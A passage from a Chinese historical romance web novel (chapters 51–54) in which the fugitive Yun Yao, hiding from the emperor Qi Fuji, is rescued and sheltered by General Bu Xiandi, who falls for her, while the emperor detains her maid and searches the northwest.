云窈唇畔呢喃,脑子还在转,一霎就想好许多情形和对策,可再也抵抗不了药力,一头栽倒,陷入昏睡。 50-60 第51章 第五十一章 东边日出西边雨 “有人晕倒了!”棚里病人转眼围住云窈,有女病人帮忙扶起:“她渴了还是饿了?” “是不是喝了大夫给的安神止痒药?我刚瞧见她喝一碗。” “是我给她喝了药。”棚中大夫只当寻常,缓步朝云窈走近。 棚外的步仙镝等人远远听见叫囔,担心发生暴动,脚下加快,几跑起来。 待步仙镝入棚,大夫已经仔细看过云窈的肿脸,也已诊脉,他眉头深锁,神情早不似方才那般从容。 “将军。”他唤步仙镝。 因为是云中城附近发生的疫症,步仙镝须知须治,疫棚他之前来过两趟,这是第三回了,与大夫相熟,直径发问:“这姑娘怎么了?” 步仙镝看向晕倒的女人,脸手胖肿,浑身疱疹,这女人还受过面伤过,从嘴角到眼尾,压着淡淡一道疤。 他并没认出云窈,身后铁头亦然。 “这位姑娘晕倒不是因为豆疹。” 步仙镝听见大夫这么说,又思及大夫严肃神色,心骤揪起:“那是何故?” 不会又有别的疫症了吧? “这位姑娘似乎不能吃这个糕……她病桃。” 步仙镝闻言反倒松口气,病桃不传染人。 “可是我这没有治病桃的药材,她的症状既急又重,会死人的!” 步仙镝一愣,旋即下令:“牵我马来!”他托住云窈后背,将她抱起,同时扭头看向大夫,“我把她带回云中城去医治!” 说完抱着云窈往外跑,大夫追出疫棚:“将军一定要快!” 步仙镝重重点头,那是自然,人命关天。 他带的小校方才听令,一窝蜂往外跑,此刻有人牵来步仙镝的马。他们给疫棚带来一车物资,铁头把那车也牵来:“将军等我先卸货。” 卸完了把姑娘用车运回去。 “说了用马!”步仙镝呵斥,等铁头卸完货,黄花菜,不对,是人都凉了! 他深吸口气,交待铁头:“你留在这交接物资。” 自个则似抛似推,将云窈送上马背。 云窈趴在马鞍前面,头手和脚分两边垂下,仿佛两口货麻袋。步仙镝自己一跃上马,低头瞅了两眼云窈的样子,缓缓拧眉:这姿势是不是不妥?待会跑起马来,会把人家姑娘颠坏吧? 步仙镝遂将云窈扶起,单手搂在胸前,另一只手勒缰策马,风驰电掣。 因为大夫叮嘱过救人要快,所以步仙镝跑起马来不管不顾,他自己几乎没沾过鞍,云窈亦似簸箕里筛豌豆,起伏颠簸。 步仙镝跑了好一会,才发现云窈发髻散乱,青丝随风,他不由自主晃了下神。下一刹回过神来,左顾右盼还回头张望,都找不到她的簪子,不知掉哪去了。 骏马不停,依旧狂奔,步仙镝咬牙:算了,等以后赔她一支! “驾!”他扬起缰绳,马再提速,快得要跑出火星子,硬生生把云窈颠醒,迷迷糊糊中,她瞧见男人的紫金冠,感受到他怀抱的滚烫。 后来,她实在受不住颠簸,一个跃起坠下,重晕过去。 他到城中最好的医馆停下,大夫看过,给开荆芥蝉蜕,祛风止痒;黄岑连翘,清热解毒;当归白芍,养血润燥。 步仙镝不禁感慨:“一个桃子能毒得这么厉害?” 他都有点以后不敢吃桃了…… “将军有所不知,每个人病的食物都不一样,有人病桃,有人病虾,最离谱的是病米面豆的。将军并不病桃,所以无须担心。” 步仙镝被说破心思,摸了下病。 大夫又道:“其实有一味要用上去,这姑娘会好得更快。” “那怎么不用?”步仙镝旋即反问。 “是全蝎,价有些贵。” “不在乎价钱,救人要紧。”步仙镝明白过来,掏了一锭银给大夫,药童抓药煎药。步仙镝喂云窈服下,又带她回府。 步仙镝平常住军营,家里就只一个雇的婆子,看屋除尘烧饭,都顺带着做。步仙镝把云窈交给婆子,让她帮忙照看。 不等云窈醒来,他就折返军营。 云窈醒时,已是二更夜。 她瞧见自己躺在一张陌生的大床上,帐顶也陌生,立马惊得坐起,四处张望——很怕齐拂己就坐在床边。 桌边趴着个人,看身形明显不是齐拂己,云窈仍警觉反手,下意识要抓自己头上发簪。 摸了个空,才发现头发散乱,她簪子去哪了? 守她的婆子原先趴桌上打盹,被动静惊醒,婆子哪想到云窈用发簪为武器,还以为她发懵,挠头,便笑着解释:“姑娘,你白天病桃晕倒了,是我们将军救了你。” 步仙镝。云窈心里默念名字,模糊的记忆陆续连起来。 余婆还在那里将步仙镝怎么救云窈的,其实她没瞧见,步仙镝亦未详说,全凭她自个想象,反正描述里步仙镝威风八面,英雄救美。 云窈听完多谢将军,又说婆婆也辛苦,这么晚还守着她,费心了。 “不辛苦。”婆子一笑,“姑娘怎么称呼?” “我姓秦。”云窈如今撒起谎来,面不改色,“婆婆怎么称呼呢?我这是在哪?” “老身夫家姓余,大伙都称呼我余婆。” 又来个余婆,明知此人跟齐拂己毫无关系,云窈还是控制不住抖了下。好在夜黑,余婆没瞧见,还告诉她这里是将军府,并将府中情形,乃至步仙镝的出身全部交待清楚。 “他可是京城步太尉的独子。”余婆再三强调。 云窈心道,那位余婆是哑巴,这位却是个滔滔不绝的。 她当然更喜欢快言快语的,没一会就从余婆嘴里,掏清楚整座云中城的状况。余婆将了快半个时辰,才想起来没怎么打听云窈,不由追问:“姑娘是哪里人呀?” 云窈合着唇,没有即刻答话。 余婆感叹:”听口音不像咱们云中。” 上回云窈骗商队,编的是京城籍贯,但现在要面对的人是步仙镝,再说京城,就露馅了。若说杭州或者江南……铁头在步仙镝身边,也不安全。 云窈谁也信不过,便重新编:“我也不知道自己算哪里人,从小天南海北跟着爹娘走商。前几年爹娘去前,将我托付给王大当家的商队,我就跟着他们走商……” 她将之前和商队同行的经历套上,再讲商队里唯有自己犯了痘疹,滞留云中。 余婆也是养女儿的,听得心疼,当即给她开小灶做了些宵夜,看着云窈吃完,又让她赶紧睡。 待第二天早晨起来,余婆又做好一桌丰盛早膳。 云窈塞了枚碎银答谢余婆。 余婆不要:“你也不容易,这钱你留着。” 她有留意到将军送云窈来时,就披头散发,此刻从怀中掏出一支木簪,递给云窈:“老身没什么好东西,捡出来这一支,是我女儿以前用的,你不嫌弃就先将就着。” 云窈接过木簪,见簪身虽然陈旧,但是锃亮,明显赠送前余婆仔细擦拭过。她心底浮起一丝感动,话不由多些:“谢谢婆婆,我正发愁如何绾发,婆婆就送我一根簪子,如及时雨,雪中送炭。” 余婆一愣:“姑娘读过书?” “跟爹娘走商,识几个字。”云窈马上接口,心想着以后还是不能多话。 寡言方才少错。 对镜梳妆时余婆仍杵在屋内,云窈手顿了顿,这回的身世是随爹娘走商,没有丧偶,于是她给自己绾了个未出阁的分肖髻。 余婆瞧见她的踟蹰,还以为云窈是在为脸上的疱疹浮肿伤心,便劝道:“痘疹出过以后不会留下印子。姑娘莫担心,到时候还是白白净净一张脸。” 余婆依照步仙镝吩咐,去军营回报时,禀完姓氏籍贯身世,又再一次说起云窈这脸。 被她一番描绘,成了云窈很是介意,对镜伤心垂泪。 “以后会消的。”步仙镝看着舆图接话。 “以后是以后,眼下是眼下,哪个姑娘不爱俏啊,会担心怎么出人,怎么见人。” 步仙镝听见这话,眉头轻轻挑了下。他放下舆图,起身摘下墙上挂的幂篱——这本是军中防疫症,给他准备的,还有掩口的纱巾,成套。 但步仙镝小时候出过痘,用不着,便都交给余婆:“她要是自己介意,以后出门可以戴这个。” “这个好,这个好。”余婆接过,回府就转交云窈。 云窈收下,没几日和余婆熟了,见她缝补一大筐男人衣裳,看样式是军服,云窈就多问了一嘴,才知步仙镝将缝补衣裳,烧饭之类的事都分给城中妇人,会支付相应酬劳。 云窈便拜托余婆,有机会也分她点活计。余婆很快给云窈带回一筐军服,全是袖口磨烂的,要重新补,云窈接下做功,自然也得一笔银子。 她便一面养病,一面接活,在步府安顿下来。 * 京城,禁宫。 齐拂己拆开江南密报,一目十行。 落玉还未到杭州,竟然还在宣城。 云窈始终未现身。 第几回几近一模一样的密报了? 若非写信之人是速喜,他真要怀疑盯梢偷懒。 齐拂己垂手欲将密报丢入火盆,却滞了下,收回手再读了遍信,方才弃置。 大安晓得一点,忍不住问:“陛下,要不把落玉抓回来问问?” 齐拂己沉默半晌,否道:“再窥察窥察。” * 云中城。 今日余婆腰疼犯了,于是云窈帮忙打水,从井边一桶桶提回厨房,灌进水缸。 倒水的时候她突然想起齐拂己,只有他那种人,会把密室入口安在水缸里。 云窈呵了一声,提着空桶,继续去打水,突然瞧见远处走来一男子,头戴紫金冠,穿一件群青色箭袖,外面又罩披风。 是步仙镝! 他走起路来和齐拂己的沉稳迥异,大步流星,两袖生风,云窈才呆滞一霎,步仙镝就快到跟前。 她最近脸好许多,急忙背身,怕被他认出来。 第52章 第五十二章 软肋 但到底他救了她,倘若就这么躲回屋里,不仅失礼,且还蹊跷,反倒引起步仙镝注意。 瞬间云窈想到幂篱,跑回屋取。看在步仙镝眼里,却是身形曲致,莲步蹁跹,他恍了恍神,又瞅云窈丢下的水桶,府里几时来了位神仙仙子,田螺姑娘? 想起来了,是上次救回来的秦氏。 铁头亦有跟来,只是个头偏矮,站步仙镝身后完全被挡住。云窈跑远以后,他才缓缓绕出:“小太尉,这位您救回来的姑娘……有点……似曾相识。” 步仙镝勾唇打趣:“你这句,可是搭讪的名句。” “小的绝对没那个心思,”铁头连连摆手,“小的就是觉着眼熟,像在哪里见过。” 这句也像搭讪,步仙镝一笑:“说真的,你也老大不小了,本将想想法子,给你说门亲事吧?” “小太尉您都没娶亲,小的哪敢抢先呢。”铁头亦说笑,却不由自主思及前任主子张宗云,抿唇神色一黯。 步仙镝未瞥铁头,放眼眺向云窈奔逃方向——据余婆所言,这位秦氏 自小跟随父母走商,尚来不及许配人家,父母就过世了。 步仙镝没想到云窈还会折返,她戴着幂篱,款款而来,他突然觉得垂下的白纱不仅仅遮面,还似萦绕的仙雾。 他的眼皮跳了下。 云窈拜道:“民女秦氏,多谢将军救命之恩,无以为报。”她直起身后,朝铁头也行了个礼。 铁头赶紧回礼,步仙镝迟些,缓道:“不必客气,这是本将职责所在。” 他既然镇守云中一带,就要保护这一带的子民。 他的目光再次定在幂篱上——她可能真的很介意脸毁了,有了心结。 他在心底轻叹一声:“你好好养病吧。” 没有过多言语,对着云窈拱了拱手,告辞。 铁头跟随离开。 云窈行礼恭送,等人都瞧不见了,才直起身。她伫立原地,忆起当年步仙镝为躲齐姝妍,闯进木樨小筑,怕她喊人露馅,捂口时不慎一道跌到床榻。 云窈转身回屋,追忆不断,她帮步仙镝打了掩护,他就送她一枚玉佩,说欠一个人情。她推却未收,以为不会再有牵扯,没想到后来为护铁头周全,她主动求上步仙镝。 那时候她已知晓小太尉和齐拂己、大理寺李凝是知己好友,八拜之交,求上门时心里并没有底,报着赌一把的心态,没想到步仙镝帮了这个忙,把铁头带来云中。 云窈进屋,关门,脑海中一闪而过许多身影,张宗云、齐二公子,最后是步仙镝,他金冠箭袖,同她解释,“我躲人,无意冒犯姑娘,还望姑娘谅解。” 又说“姑娘救我一回,日后若遇着难处,拿这块玉来太尉府,刀山火海,莫有不帮。” 云窈靠上门板,半晌未动。 之后步仙镝回家,如果碰上云窈,都会讲几句话,云窈始终幂篱遮面。 * 禁宫,御书房。 宫灯里的蜡烛燃尽整整一根,皇帝齐拂己仍坐在桌后,微微分腿,纹丝不动,若有所思。 内侍换蜡烛时不慎倒了宫灯罩子,砰的一声,因为满屋寂静显得格外响亮。大安赶紧跑过去,指放唇上示意噤声,又怕小内侍再犯错,亲自换蜡烛。 等大安提心吊胆忙完,齐拂己还坐在椅上,一手抚膝,一手搭在桌上,既没有动笔,也没瞧折子。 皇帝在想什么呢? 大安觉得自己能猜到——和出逃的那位有关。 距离上回皇帝说要再窥察,已经过去三个月。第一个月底,落玉终于磨磨蹭蹭抵达杭州。 第二个月,她用来安顿,落脚的宅子离云家老屋极远。 第三个月,落玉找了份帮厨,她好像在刻意避着从前认识的人,生怕叙旧,有一回在路上偶遇当年送云窈上京的卢叔,没讲几句就落荒而逃。 当然云窈始终没有出现。 联系一切,就好像……她没跟着落玉下江南。 想到这,大安情不自禁哆嗦了下。 皇帝这样枯坐也不是办法,大安小声提醒:“陛下。” “陛下?” 齐拂己缓缓侧首,看向大安,唇一张一合:“把她抓回来。” 落玉吗?大安确定又不敢确定,声变更小:“是说落玉姑娘吗?” 齐拂己面无表情瞥他一眼:“朕要亲自审问。” 啊啊那就是落玉了,大安心底嘀咕,又觉得自己完了,越来越笨,瞻前顾后。真是伴君如伴虎啊,以后这种活改让小吉接。 * 云中城。 晴空万里。 云窈正好缝补完手头这批军服,趁天气好,将它们浆洗晾晒。 晒满两根长竿,再晒第三根,刚晾上去两件,云窈忽然瞧见前面那根竿上的袍衫翻卷,像是有人在那。 她朝前走近,却空无一人,唯有微风轻拂。 原来是风。 云窈旋即打算折回去,继续晾晒,刚一转身就和人撞个满怀,她的鼻尖蹭到那人饱满结实的胸膛,连忙避开,抬头。 见是步仙镝,她心里莫名一慌,向后倒去,步仙镝急忙扶住:“小心。” 他的声音急且低,微有些哑。 云窈的幂篱带的白纱微微扬起,露出一个白皙好看的下巴,步仙镝心骤提起,纱却在即将现出她真容前落下。 步仙镝的心缓缓回落。 少顷,他突然觉得脸上有两分烫,左右言它:“我俩这跟捉迷藏似的。” 在这衣林里钻来找去。 云窈红脸看向步仙镝的胳膊,他这才意识到这个姿势完全拥她在怀中,连忙放开:“失礼失礼。” 云窈垂首沉吟,半晌方才接话:“将军也是无心,不必自责。” 阖唇,陷入沉默。 只能听见风吹袍服。 过了会,风停了,彻底无声,掉针可闻。 步仙镝手握拳放在唇上,咳了一声:“咳,你接了军中的针线活?” 云窈点头。 “辛苦吗?可还吃得消?” 这是正常询问,于是云窈正常答:“不辛苦,挺轻松的,将军给的工钱比外头高。” 步仙镝他和将士们同吃同住,自然衣裳也一样缝缝补补,他举起右手,袖口有一圈重补的布: “我这件是不是你补的?” 云窈认出自己的针法,正犹豫要不要撒谎,步仙镝已经走近湿衣裳,将其中一只袖子拿近眼边,仅扫一眼,就噙笑:“一样针脚呢。” 细细密密,看起来不像后来缝补,倒像是故意在袖口做的一圈锁边。 可见她用了心。 他转过身眺向云窈,渐敛笑意:“那日带你回城,病重情急,跑马快了,不慎遗漏了你的簪子。本将记不大清,不知道是个什么样式的?你说说,重打一支赔你。” 云窈抬手摸了下脑后:“婆婆已经给我一支。” 隔着幂篱,步仙镝看不见余婆给她的簪子,不知道是什么样的,但她抬手那一下就像摸上了他的脖颈,他喉头滑了下。 良久,垂眼沉声:“她是她,我是我。” 嗓音低沉,却有金声玉振的味道,云窈心头兀地一跳。 好在幂篱遮掩,步仙镝瞧不见她脸上的慌乱。 她稳定了会气息,方才回应:“那日医馆将军替我垫付诊金,已经抵掉簪子钱了。” 说到后面语气不自觉欢快起来,最后扬高嘴角。 步仙镝好像也感受到,并被感染,重翘起唇角,他看云窈身□□院,晒竿木盆、石桌石椅,还有更远处的红瓦白墙,还有太阳,它们好像突然都变得不一样了,从普通常见变得赏心悦目。 自此以后,步仙镝回府渐变频繁。 * 禁宫,倚翠殿。 这里是皇宫中最偏僻的一座宫殿,落玉被挟持进宫后一直关在这里。 窗户外面除了树还是树,有够无聊的,落玉心想原来小姐天天被皇帝禁足是这种滋味。 真难受。 笼中鸟瓶中花。 还好小姐逃了。 皇帝抓她回来,肯定是因为没有小姐下落,想到这落玉乐得笑出一声。 齐拂己刚好进殿,明明听见了笑声,面上没有起一丝一毫波澜,他永远如不见底的深潭,难窥其心。 但落玉觉得,皇帝听见笑声一毫,肌肉和口唇肯定在默默绷紧,于是又笑一声。 齐拂己垂眼,本来念在她是云窈婢女的份上,特意给她挑了一清幽雅致,满眼翠绿的好地方,结果她跟她主子一样不识好歹。 “她在哪里?”齐拂己隔着半间寝殿审问。 “我也不知道。”落玉说的实话,理直气壮。 皇帝未再开口,始终直直盯着落玉。 半晌,落玉启唇:“我是真的不知道。” 皇帝是佩剑入殿的,闻言按上腰间剑柄。 “陛下杀我可以,但小姐一旦晓得我死了,肯定再难独活!”落玉大声囔囔出和云窈分别前,云窈教她的话。 “我可是小姐在这世上最后一点念想!” 落玉喘气,小姐说的,倘若皇帝动杀心,就这么喊。 齐拂己心慌了下,按剑的手微抖,但很快稳住。他面上不显,淡道:“有时候死很容易,难的是活着。” 他可以不让落玉死,有得是折磨活人的手段。 他眺向落玉,生不如死这个词,她听说过吗? “你给我上多少刑,我都会记着,等小姐回来每一道我都会详细说给她听!”这句不是云窈教的,是落玉自个举一反三。 良久,齐拂己沉声:“来人。” “你把我下狱我也会告诉小姐!”落玉噼里啪啦,竹筒倒豆般往外说,“我家小姐没见过天牢正好我告诉她!” 她皱眉瞪眼,“有多残暴,血淋淋!” 原本等候在外的大安听见命令,领着一班禁卫小跑入殿,脚步颇响。齐拂己满腔怒气和憋闷无处发泄,扭头冲大安怒吼:“退下!” 大安先本能抖了下,继而迷糊——来人后面接的退下,这不对劲啊? “退退退退下!”大安催促禁卫出殿,他自己也倒着退出,不知是惶恐还是仓促,两脚相绊,差点栽倒。 齐拂己未再瞥大安和一众侍卫,只恶狠狠盯着落玉,良久,指道:“你不愧是她的丫鬟。” 第53章 第五十三章 伯牙绝弦 他突然笑了下:“你说的这些话,是不是都是她教你的?” 落玉被戳破,一霎慌神,继而挺直胸膛:“不是,都是我自己想的!” 齐拂己又笑起来,缓缓扬起唇角,方才的话就是云窈教的。他好久没见云窈,刚才好像隔空在和云窈对话。 齐拂己笑漾得更深。 看得落玉莫名其妙,心里发毛。 齐拂己噙笑出门,再没问落玉一句,从即日起,她的吃穿用度加倍,殿内也被布置得富丽堂皇,但所有服侍落玉的宫人不会和她讲一个字——哪怕是她从前认识的,哪怕她一个劲逼问,软硬兼施,宫人皆只会低头。 她好像成了案桌上的菩萨,被供起来了。 这样的日子过了七天,宫人们突然将她架出殿外,送上马车。落玉瞬间心慌,怎么问宫人、车夫,都是哑巴。 落玉一开始不知道齐拂己要做什么,待车驶出宫,突然想到:该不会皇帝已经找到小姐,现在要带她去见吧? 上回就是这样带她去岐凤见小姐的。 眼见马车往城门方向驶去,落玉越来越慌,待车出城那一霎,她瞧见驶向的方向是西北,终于崩溃,脱口而出:“你们是不是要我去找小姐?” 这话自然原封不动传回齐拂己耳中。 他脸上挂起几丝若有似无的笑意,果然和他料想的一样,她仗着他舍不得伤害她,甚至不愿伤害她的婢女,差使落玉回杭州,作障眼法,云窈自己往最不可能的西北去了,她要出关。 她以为他万万想不到,她会重复走一条路两次,且是上一回失败的道路。 他吩咐暗卫一路往西北寻,直至国界,宁错勿漏。 大安、速喜、小吉都下首听宣,还是大安问的:“陛下,万一娘娘已经出关了呢?” “那他们就也往关外去。”齐拂不以为意,上天入地也要把她捉回来。 待三仆依命下去布置,齐拂己独坐殿中,看右手贴墙那张七弦琴——已经亲自给它套上琴套,云窈回来之前他不会再弹。只有钟子期能听懂俞伯牙的琴,子期不在,伯牙绝弦。 * 云中城,步府,后厨。 辰时过半,余婆摘菜,云窈帮着煮饭,刚舀上米,就瞥见门口步仙镝的声音——他没有收脚步,余婆听见响动,也望过去:“将军,您回来了?” 步仙镝点头:“今日午膳在家里吃。” “好、好!”余婆当即给云窈使眼色,让她多舀点米。 云窈再添了两把,步仙镝往她方向瞟了一眼,云窈今日也仍戴着幂篱。 他收回目光,同余婆道:“我待会再来。” “将军您忙!” 原先余婆和云窈打算吃素,这会去晾肉房多片两块风干羊肉,小锅一炒,油呛得余婆咳了两声。 “婆婆小心。”云窈提醒 余婆却不以为意,没一会锅里的香气就溢满厨房。这里的牛羊肉都没什么膻味云窈也爱吃。她听余婆笑说:“城里很多小娘子思慕咱们将军的,毕竟将军身得威武,人有俊俏。” 云窈脸上的笑一下就僵住,低头默默捣蒜,可杵声盖不住余婆的洪亮嗓门:“我觉得将军对你许是有点意思,最近回来得越来越多了。” “婆婆莫要乱讲。”云窈敛笑。 “你可得抓紧点,不然将军被别人抢跑了怎么办?”余婆自顾自讲,“如果能当上将军夫人,那就是一辈子的荣华富贵。” 云窈眉头一簇:“婆婆说到哪去了,真的慎言。” 她帮着忙完,盛了一小碗饭和青菜,没要牛肉,就端回屋里。余婆拦住:“中午不一起吃吗?” “不了。”云窈斩钉截铁,余婆说了这种话以后,她这肯定要避免和步仙镝同桌。 之后几日,云窈都有意躲着步仙镝,在院中扫地,瞥见他朝自己这边走,四目对了一眼,云窈装作未见,放下扫帚,调头进门。 躲了半晌,不知他是走近了,还是别处去了,云窈拿不定主意,忽听两声叩门: “秦姑娘,你在里面吗?” 步仙镝低声:“是我。” 云窈叹口气:他刚才都瞧见她了,怎么好说不在呢? 她起身开口:“将军何事?” 步仙镝站在门框外,朝云窈房中眺望一眼,飞快收回目光:“方便进屋吗?”他顿了顿,垂下眼皮,“方便我就在这里说。” 云窈抓着门把的手攥紧,少顷做了选择:“将军进来坐吧。” 步仙镝轻缓踏入,目不斜视,径直坐到桌边,背对着床。 云窈给他倒了杯水,步仙镝双手接过,道了声谢,又道:“下回我给你带点茶叶回来,你沏茶喝。” “多谢将军美意,不必大费周章。” “你怎么这么客气,”步仙镝笑了下,“也不是什么好货,咱们云中没有好茶!” 这里喝的,都是京城或者南地不要的碎叶子,压成茶砖方有看相。 “先将就着,下回我回京述职,给你带一块京城的团饼回来。”说完他自己想到些画面,恍了会神。 这当回云窈婉转拒绝了他,连说民女受不起。 步仙镝沉默少顷,重挂微笑:“好了,你不要就算了,且说正事。”“听余婆说,你识字?” 其实和她相处了这么久,早通过言谈举止知道她读过许多数,可是有些事总要扯上别人,才好聊下去。 免得她觉得熟络太快,心生不适,又躲着他。 “识得几个。” “那你可得帮我个忙。”步仙镝手放桌上,背挺得板正:“之前缝补的活计是栗主薄在派,他不会跟女子打交道,总跟她们吵起来,好好的事成了是非。我想聘你代替李主薄,管理此事,女人之间总好说话些,顺道你帮着做做账。” 云窈合着唇。 步仙镝见她没有即刻拒绝,忙将工钱、规矩都讲清。 云窈心底竟生出一个声音,默道:他讲得这么一本正经,应该就是正常的聘用,没有私心。 不知怎地,她不受控地把步仙镝和齐拂己归为两类,许是因为他当年愿意救铁头,又许是他常在她面前大笑,露出一排皓齿,她有些不由自主被这笑容吸引。 之后,因为报账,云窈常去军营和步仙镝打交道,他也常来她房中交谈。他还是送了茶叶,盛夏时节好几回带回瓜果,不说特意留给云窈,只道自己分的,吃不完,让云窈和余婆都帮着吃。 步仙镝甚至带回过两匹好料子,也是营里分的,他用不上,给云窈和余婆一人一匹裁衣裳。 六月一过,七月一日,云窈就去军营报六月的缝补支出和件数。 步仙镝正与军士操练,上百汉子列成方阵,整齐划一地出拳踢腿,齐吼一声,地动山摇。云窈在帐中等了一会,步仙镝进来时因为热汗淋漓,光着膀子。 云窈一怔,回过神仓惶别首。步仙镝也楞了下,背过身去穿衣裳,不仅仅脸,连胸脯都在发红。 他穿好以后,云窈爱背对着,他只好干咳一声。 云窈这才转过来,一面交账本,一面三两句说清情况。 步仙镝翻了两页,笑问:“你这是昨晚挑灯赶出来的?不会一宿没睡吧?” 云窈也笑:“没有,一更就做完了。” 步仙镝把账本收好,转过身来再看云窈:“以后可以迟几日交,熬夜伤身。” 云窈却道:“我看军营里有夜训,还有巡逻,女子和男子一样,有时候赶工熬一两宿没事。” 步仙镝心道女人和男人哪能一样,女人生来就该受男人保护,但他没讲出口,阖唇沉默。 云窈也不主动说话了,帐内的气氛很快变得尴尬,空气稀薄,喘不过气。 “那我先告辞了。”她飞快屈了下膝,往外走,步仙镝急道:“秦姑娘,留步!” 云窈顿足。 步仙镝三步并做两步走到她什么:“你有没有哪天有空,一道去爬山?” 云窈回头看向步仙镝,他噎了下,续道:“下个月这里就要下雪封山了,之后半年都不能爬。” 原来真是八月既飞雪啊,云窈心想,同时斟酌了下步仙镝的意思。 想起张宗云和齐拂意,云窈摇头拒绝:“我有事,去不了。” 步仙镝双唇张合,欲言又止,终没说什么,任云窈离开营帐。 是月中旬,步仙镝一大早就叩云窈房门。 云窈正用早膳,放下碗筷戴上幂篱,方才开门:“将军何事?” 步仙镝望向桌上的面条,呢喃:“我也才吃完。” 云窈从不去厅里和他们一起吃。 云窈垂眼。 步仙镝沉默了会,方道:“今日我休沐,打算去登山。” “将军一路顺利,直登顶峰。”云窈捏着衣角回。 “你真的不去吗?”步仙镝不甘心,“我可以等你吃完一起去。下个月这里就没有一点翠绿了,半年都只有雪。” 良久,云窈回:“我还挺喜欢雪的。” 说完她在心底叫囔了句:天呐,怎么会这样回。 她自己都不知道为什么会说这样一句,脑子里一个想法,嘴一个想法,心一个想法,谁也不听谁的。 “那你喜欢我吗?”步仙镝接口就问,“我不知道自己怎么了,脑子里就只想和你去爬山,你不去我也不想再爬了。”他顿了顿,“我听说你尚未婚配,不知我是否——” 云窈再次思及张宗云和齐拂意,神色渐黯:“将军,我是不祥之人。” 这回拒绝,比以前都难过,她心里特别难受,因为从未体会过,所以无法描述。 少顷,云窈想不能这么低沉,抬起头来同步仙镝开玩笑:“民女八字硬,煞气重,和民女亲近的男子都会被克死。” 步仙镝盯她一会,启唇:“我不信。” 须臾,语气铿锵:“我行伍出身,不惧煞气。” “将军知道民女为什么没有许配人家吗?”云窈斟酌词句后半真半假告诉他,“因为民女先前有过三个未婚夫,都病逝了。将军靠近我,只怕也是凶多吉少。” 步仙镝面上一怔。 云窈捕捉到这一丝愣怔,方才那种从未有过的难受又即刻浮上心头,又像一只利爪牢牢揪着心。 片刻,步仙镝突然咧嘴笑开:“别担心,俗话说得好,事不过三,第四回到我这就破了。再说这不是你的错,不要把不好的事都归咎到自己身上。” 听见云窈自嘲克夫,他也很难受,耳朵和心都不舒服。 云窈突然鼻子有些酸,她承认步仙镝这句话打动到她。 但她还是摇头:“将军都没有见过我的面,缘何生出喜欢?倘若民女摘下幂篱,是个丑八怪、母夜叉呢?” 步仙镝多半直来直去,此刻亦然,稍加思索就作答:“我和你说了话,共了事,相处了大半年,缘何不喜欢?” 她说自己克夫,但他却觉得跟她相处起来十分舒服、顺畅,身体也没有因此害病。他就是不由自主想接近,不知不觉就越靠越近,等某日察觉自己动心,已然深陷。 “且我既能说出方才那番话,必然不会介意你的容貌。”步仙镝设想了下,“你就是瞎子瘸子,我也不嫌弃!” “将军军中高门,民女一介商女,和我将军的差别犹如云泥,就像这,到这”云窈点了方桌一角,又点对角,“中隔天堑。” 步仙镝亦伸十指按上云窈刚才点过的桌角,然后画一条线将对角连起:“很近,可以连起来的。” 云窈摇头,还是拒绝了他。 步仙镝被拒绝后,并无恼怒,只说做不成伉俪可以做朋友,翌月下雪,还是特意带许多炭火回府,怕云窈冻着。 可云窈第一回待在这苦寒地,当屋檐下结的冰锥子半人高时,她就洗了个澡,第二天就起了风热。 余婆很快通知步仙镝回来。 步仙镝跳下马就往云窈所住的屋子跑,大夫很快被他甩落一大截。步仙镝一进门,余婆就从离开床边圆凳站起:“将军,秦姑娘一直在昏睡。” “我带了大夫来。”步仙镝说着回头,看大夫正气喘吁吁,刚赶到门口。 “您快给她瞧瞧。”他一面催促大夫一面回头,床上云窈没戴幂篱,蜷曲着身子抱臂朝外,他骤然瞥见她的真容。 第54章 第五十四章 世外仙侣 似曾相识。 步仙镝滞了下,很快想起来她是谁了——借居国公府的那位云姑娘。 步仙镝忍不住再次打量云窈样貌,病桃的肿和痘疹皆已消退,没在她脸上留下任何痕迹,但嘴角到眼尾有一道浅淡长疤,不认真盯着看发现不了。 步仙镝记得云窈从前容颜,这道疤减了两分殊色,但他同时也习武多年,可以断定这是剑伤,她受伤后用过极好的金疮药,方才挽救成这样。 步仙镝突然钻心地疼,就好像这剑不是划在云窈脸上,而是划在他心里。 又想,倘若他能代替她疼痛,多划几剑也无妨。 他等着大夫诊完脉,开了药,嘱咐余婆煎药喂食,自己则步出屋外。 “将军您去哪?秦姑娘还晕着呢!”余婆禁不住问,将军不是喜欢秦姑娘吗?眼下秦姑娘并无好转,将军怎么就走了呢? 步仙镝跨门槛抬起的腿顿在空中,复又落下:“我去去就回。” 他知道皇帝在到处找她,已有暗卫偷偷来了西北,他要封锁消息,绝对不能让皇帝知晓她的存在。 步仙镝一跃上马,赶往军营。 安排妥当,再策马赶回府邸,脚没怎么沾地,大雪天跑出一身的汗。 他进门瞧见余婆扶着云窈坐起,但云窈仍闭眼,步仙镝不由再添三分着急:“怎么样了?” 余婆另一只手端药碗,勺放里面:“喂不进去。” 半天了,云窈迷迷糊糊就喝两口,很容易吐出来。 步仙镝沉默须臾:“我来。” 他从余婆手上接过云窈也接过药,让云窈靠着他的肩膀,一勺一勺喂给她喝。 有时候不得不用些手段,比如按她喉头,迫其吞咽,但还是从嘴角漏出不少,污到步仙镝身上。步仙镝混不介意,仍一勺一勺耐心地问:“苦口良药,忍一忍,要喝完。” 云窈迷迷糊糊听见他这句话,用尽全力睁开眼。 步仙镝似有所察,斜低看向怀中人,与云窈目光对上。 四目凝视良久,云窈知道他已经认出她,手心瞬间生出细汗。 步仙镝也读懂,她已经晓得他认出她。 步仙镝舀了勺药,云窈见状张嘴,他将药送入她口中。 因她已经清醒,没有再吐药,咽一口,吞下去。 步仙镝另一只空的手在自己身上摸了三、四下,讪道:“下回备点蜜饯,给你压药。” 他身上没备过那玩意。 下一霎又拍脑袋:“呸!你喝了这碗药就病去一身轻,没下回!” 云窈被他逗笑,唇角上扬,步仙镝看着她开裂苍白的嘴唇难受,云窈却轻声道:“我能喝苦药,刚才是烧迷糊了。” 她目光缓缓扫过他袖口和胸前的药渍:“袍子我帮你洗吧,不知道洗不洗的掉。” 洗不掉就赔他一套。 “肯定洗得掉的,我自己来。”步仙镝缓慢回话。 云窈阖唇,陷入沉默。 步仙镝也没再开口,舀一勺药喂给云窈,她依偎在他怀里,张嘴配合。他等她喝完,缓会,才接着喂第二勺,云窈看碗里仅剩小半碗药,他约莫已经喂了半个时辰了。 她看着他,脉脉不语。 步仙镝再喂一勺时对上目光,轻声询问:“脸上怎么弄的?” “有一回逃跑被追杀。”云窈靠在他怀里说,眼睛发酸,她突然发现自己不全为了博取同情怜惜,是真的想哭。 